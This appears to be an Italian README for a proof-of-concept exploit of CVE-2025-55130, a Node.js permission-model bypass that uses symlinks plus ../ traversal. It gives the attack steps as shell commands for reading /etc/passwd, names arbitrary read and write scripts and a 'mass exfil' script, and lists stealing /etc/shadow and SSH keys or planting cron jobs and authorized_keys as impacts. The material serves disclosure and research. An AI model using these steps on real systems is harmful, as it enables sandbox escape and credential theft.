CVE-2025-55130 - Evasione del Permission Model di Node.js tramite Symlink
___ _ _ ___ ____ ___ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Bypass del Permission Model di Node.js tramite symlink appositamente costruiti
[ Scoperto da natann @ JFrog ]
Panoramica
Una falla di path traversal in Node.js consente di aggirare le restrizioni di autorizzazione di --allow-fs-read e --allow-fs-write utilizzando symlink che puntano a percorsi assoluti combinati con traversal relativo.
Il controllo delle autorizzazioni e la risoluzione dei percorsi avvengono separatamente. Una volta che il percorso iniziale supera il controllo delle autorizzazioni, il symlink viene seguito e le sequenze di traversal fuoriescono dalla sandbox.
Versioni Interessate
Analisi Tecnica
Causa Principale
Permission Check: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ ALLOWED (starts with ./)
Path Resolution: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Resolves to /etc/passwd - OUTSIDE SANDBOX
Il modello di autorizzazioni valida la stringa del percorso prima della risoluzione del symlink. Creando un symlink verso un percorso assoluto e utilizzando la traversal ../ DOPO il symlink, si esce dalla directory consentita.
Flusso dell'Attacco
1. mkdir -p ./a/b/c/d/e/f/g # Create nested dirs in allowed path
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # Symlink to absolute path
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
Permission check passes (inside ./)
After symlink resolution:
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
Traversal escapes to root
File
| File | Scopo |
|---|
exploit.js | Exploit principale - legge file arbitrari |
exploit_write.js | Scrive file arbitrari |
Utilizzo
# Basic exploitation
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# Check if vulnerable
node check.js
# Mass exfil
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
Impatto
- Leggere file sensibili: /etc/passwd, /etc/shadow, chiavi SSH, configurazioni
- Scrivere file arbitrari: cron job, authorized_keys, configurazioni
- Evasione del container in ambienti multi-tenant
- Bypass della sandbox per l'esecuzione di codice non fidato
Riferimenti
Crediti
- Vulnerabilità: Natan Nehorai (natann) @ JFrog Security Research
- Correzione: RafaelGSS @ Node.js
Solo per ricerca e test autorizzati.